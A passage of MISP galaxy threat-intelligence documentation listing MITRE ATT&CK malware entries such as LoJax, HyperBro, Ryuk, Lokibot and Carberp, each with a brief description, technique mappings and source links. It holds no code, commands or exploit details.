- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5633. Table References

Links
https://attack.mitre.org/software/S0387
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
https://citizenlab.ca/2016/11/parliament-keyboy/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html

LoJax - S0397

[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)

The tag is: *misp-galaxy:mitre-malware="LoJax - S0397"*

LoJax - S0397 is also known as:

* LoJax

View relationships graph

LoJax - S0397 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5634. Table References

Links
https://attack.mitre.org/software/S0397
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

YAHOYAH - S0388

[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)

The tag is: *misp-galaxy:mitre-malware="YAHOYAH - S0388"*

YAHOYAH - S0388 is also known as:

- YAHOYAH

View relationships graph

YAHOYAH - S0388 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5635. Table References

Links
https://attack.mitre.org/software/S0388
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf

HyperBro - S0398

[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)

The tag is: *misp-galaxy:mitre-malware="HyperBro - S0398"*

HyperBro - S0398 is also known as:

- HyperBro

View relationships graph

HyperBro - S0398 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5636. Table References

Links
https://attack.mitre.org/software/S0398
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/

JCry - S0389

[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)

The tag is: *misp-galaxy:mitre-malware="JCry - S0389"*

JCry - S0389 is also known as:

- JCry

View relationships graph

JCry - S0389 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5637. Table References

Links
https://attack.mitre.org/software/S0389
https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/

Pallas - S0399

[Pallas](https://attack.mitre.org/software/S0399) is mobile surveillanceware that was custom-developed by [Dark Caracal](https://attack.mitre.org/groups/G0070).(Citation: Lookout Dark Caracal Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Pallas - S0399"*

Pallas - S0399 is also known as:

- Pallas

View relationships graph

Pallas - S0399 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5638. Table References

Links
https://attack.mitre.org/software/S0399
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

ShimRat - S0444

[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/

G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name "[ShimRat](https://attack.mitre.org/software/S0444)" comes from the malware’s extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-malware="ShimRat - S0444"*

ShimRat - S0444 is also known as:

- ShimRat

View relationships graph

ShimRat - S0444 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5639. Table References

Links
https://attack.mitre.org/software/S0444
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

HenBox - S0544

[HenBox](https://attack.mitre.org/software/S0544) is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. [HenBox](https://attack.mitre.org/software/S0544) has primarily been used to target Uyghurs, a minority Turkic ethnic group.(Citation: Palo Alto HenBox)

The tag is: *misp-galaxy:mitre-malware="HenBox - S0544"*

HenBox - S0544 is also known as:

- HenBox

View relationships graph

HenBox - S0544 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5640. Table References

Links
https://attack.mitre.org/software/S0544
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Cadelspy - S0454

[Cadelspy](https://attack.mitre.org/software/S0454) is a backdoor that has been used by

[APT39](https://attack.mitre.org/groups/G0087).(Citation: Symantec Chafer Dec 2015)

The tag is: *misp-galaxy:mitre-malware="Cadelspy - S0454"*

Cadelspy - S0454 is also known as:

- Cadelspy

View relationships graph

Cadelspy - S0454 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

Table 5641. Table References

Links
https://attack.mitre.org/software/S0454
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

ObliqueRAT - S0644

[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)

The tag is: *misp-galaxy:mitre-malware="ObliqueRAT - S0644"*

ObliqueRAT - S0644 is also known as:

* ObliqueRAT

View relationships graph

ObliqueRAT - S0644 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5642. Table References

Links
https://attack.mitre.org/software/S0644
https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html

SYSCON - S0464

[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-malware="SYSCON - S0464"*

SYSCON - S0464 is also known as:

- SYSCON

View relationships graph

SYSCON - S0464 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5643. Table References

Links
https://attack.mitre.org/software/S0464
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

Ryuk - S0446

[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Ryuk - S0446"*

Ryuk - S0446 is also known as:

- Ryuk

View relationships graph

Ryuk - S0446 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5644. Table References

Links
https://attack.mitre.org/software/S0446
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Lokibot - S0447

[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)

The tag is: *misp-galaxy:mitre-malware="Lokibot - S0447"*

Lokibot - S0447 is also known as:

- Lokibot

View relationships graph

Lokibot - S0447 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5645. Table References

Links
https://attack.mitre.org/software/S0447
https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode
https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html
https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence—22
https://us-cert.cisa.gov/ncas/alerts/aa20-266a

Carberp - S0484

[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)

The tag is: *misp-galaxy:mitre-malware="Carberp - S0484"*

Carberp - S0484 is also known as:

- Carberp

View relationships graph

Carberp - S0484 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
